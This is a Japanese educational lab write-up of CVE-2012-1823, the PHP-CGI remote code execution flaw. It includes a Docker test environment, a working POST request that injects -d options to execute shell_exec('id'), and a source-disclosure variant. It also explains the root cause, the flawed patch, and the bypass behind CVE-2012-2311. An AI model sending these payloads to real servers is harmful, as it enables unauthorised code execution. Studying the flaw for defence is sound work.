
CVE-2012-1823(PHP-CGIのリモートコード実行脆弱性)の教育用PoCおよび分析。Dockerベースのテスト環境、エクスプロイトデモ、根本原因とバイパスに関する詳細な技術的解説を含む。
ビルドおよび実行環境:
docker-compose build
docker-compose up -d
環境起動後、http://your-ip:8080/にアクセスすると「Hello」と表示されます。
http://your-ip:8080/index.php?-sにアクセスするとソースコードが表示され、脆弱性が存在することがわかります。以下のパケットを送信すると、Body内のコードが実行されたことが確認できます:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>
まず、PHPの実行モードについて説明します。
PHPのソースコードをダウンロードすると、sapiというディレクトリがあるのがわかります。PHPにおけるsapiの役割は、メッセージの「伝達者」のようなものです。例えば、私が記事「Fastcgiプロトコル分析 && PHP-FPM未承認アクセス脆弱性 && Exp作成」で紹介したfpmは、Webコンテナがfastcgiプロトコルでカプセル化したデータを受け取り、PHPインタプリタに渡して実行する役割を担っています。
fpm以外にも、Apache用のmod_phpが最も一般的なsapiです。このsapiはPHPとApache間のデータ交換に使用されます。
php-cgiもsapiの一つです。古くは、Webアプリケーションの実行方式は非常に単純で、WebコンテナがHTTPパケットを受信すると、ユーザーが要求したファイル(CGIスクリプト)を取得し、子プロセス(インタプリタ)をフォークしてそのファイルを実行し、実行結果を取得して直接ユーザーに返し、同時にそのインタプリタの子プロセスも終了していました。bash、perlなどの言語に基づくWebアプリケーションの多くはこの方式で実行されており、この実行方式は一般にCGIと呼ばれています。Apacheをインストールする際にデフォルトでcgi-binディレクトリがあり、元々はこれらのCGIスクリプトを置くためのものでした。
しかし、CGIモードには致命的な欠点があります。周知の通り、プロセスの生成とスケジューリングには一定のコストがかかり、プロセス数も無限ではありません。そのため、CGIモードで動作するWebサイトは通常、大量のリクエストを同時に受け付けることができません。リクエストごとに子プロセスを生成すると、サーバーを圧迫する可能性があります。そこで、後にfastcgiが登場しました。Fastcgiプロセスはバックグラウンドで常時動作し、fastcgiプロトコルでデータパケットを受け取り、実行後に結果を返しますが、自身は終了しません。
PHPにはphp-cgiというsapiがあり、php-cgiには2つの機能があります。1つはCGI方式の対話を提供すること、もう1つはfastcgi方式の対話を提供することです。つまり、perlのように、Webコンテナにphp-cgiプロセスを直接フォークさせてスクリプトを実行させることができます。また、バックグラウンドでphp-cgi -b 127.0.0.1:9000(php-cgiをfastcgiマネージャとして)を実行し、Webコンテナにfastcgiプロトコルで9000番と対話させることもできます。
では、先ほど述べたfpmとは何でしょうか?なぜPHPには2つのfastcgiマネージャがあるのでしょうか?PHPには確かに2つのfastcgiマネージャがあります。php-cgiはfastcgiモードで実行でき、fpmもfastcgiモードで実行できます。しかし、fpmはPHP 5.3以降で導入された、より効率的なfastcgiマネージャです。その多くの利点についてはここでは触れませんが、自分でソースコードを調べてみてください。fpmの利点が多いため、最近では多くのWebアプリケーションがphp-fpmを使用してPHPを実行しています。
本脆弱性に戻ります。CVE-2012-1823はphp-cgiというsapiに現れた脆弱性です。上記でphp-cgiが提供する2つの実行方式(CGIとfastcgi)を紹介しましたが、本脆弱性はCGIモードで動作するPHPにのみ現れます。
この脆弱性を簡単に言うと、ユーザーリクエストのクエリ文字列がphp-cgiのパラメータとして扱われ、その結果一連の影響が生じるというものです。
原理を探ってみましょう。RFC3875では、クエリ文字列にデコードされていない=が含まれていない場合、クエリ文字列をCGIのパラメータとして渡すことと規定されています。そのため、Apacheサーバーはその要求に従ってこの機能を実装しました。
しかし、PHPはこのRFCの規則に気づいていませんでした。もしかすると以前気づいて処理していたかもしれませんが、その処理方法はWebコンテキストではパラメータを渡さないようにするというものでした。しかし2004年に、ある開発者が次のような発言をしました:
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
In our SAPI cgi we have a check along these lines:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.
The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:
#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>
and have it work both from the command line and from a web context.
As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.
-Rasmus
明らかに、この開発者は#!/usr/local/bin/php-cgi -d include_path=/pathのような記述をテストで使いやすくするために、php-cgiがコマンドライン引数を受け取るのを制限すべきではないと考えており、この機能は他のコードと何ら衝突しないとしていました。
そこで、if(!cgi) getopt(...)が削除されました。
しかし、RFCにおけるコマンドラインの説明によれば、コマンドライン引数は#!/usr/local/bin/php-cgi -d include_path=/pathのようにphp-cgiに渡すだけでなく、クエリ文字列を介しても渡せることが明らかです。
これが本脆弱性の歴史的な原因です。
では、制御可能なコマンドライン引数で何ができるでしょうか。
ソースコードを読むと、CGIモードでは以下のようなパラメータが利用可能であることがわかりました:
-c PHP.iniファイルの場所を指定-n php.iniファイルをロードしない-d 設定項目を指定-b fastcgiプロセスを起動-s ファイルのソースコードを表示-T 指定した回数ファイルを実行-hと-? ヘルプを表示最も簡単な悪用方法はもちろん-sで、ソースコードを直接表示できます:

しかし、私が書いたfastcgiの記事を読んだ方は、より良い悪用方法をすぐに思いつくでしょう。-dでauto_prepend_fileを指定して任意のファイルインクルードの脆弱性を引き起こし、任意のコードを実行する方法です:

注意:スペースは+または%20で置き換え、=はURLエンコードで置き換えます。
この脆弱性が公表された後、PHP公式は修正を行い、新しいバージョン5.4.2および5.3.12をリリースしました。しかし、この修正は不完全であり、回避可能であったため、CVE-2012-2311脆弱性が派生しました。
PHPの修正方法は、-をチェックすることでした:
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
}
わかるように、クエリ文字列を取得してデコードした後、最初の文字が-であればskip_getoptを設定し、コマンドライン引数を取得しないようにします。
この修正方法の安全でない点は、管理者がphp-cgiをラップしている場合です:
#!/bin/sh
exec /usr/local/bin/php-cgi $*
空白文字と-を組み合わせることで、パラメータを渡すことができます。この場合、クエリ文字列の最初の文字は空白文字であり-ではないため、上記のチェックをバイパスします。
そこで、PHP 5.4.3および5.3.13でさらに修正が行われました:
if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
/* we've got query string that has no = - apache CGI will pass it to command line */
unsigned char *p;
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
for (p = decoded_query_string; *p && *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}
free(decoded_query_string);
}
まずすべての空白文字(スペース以下の全ての文字)をスキップし、その後最初の文字が-であるかどうかを判断します。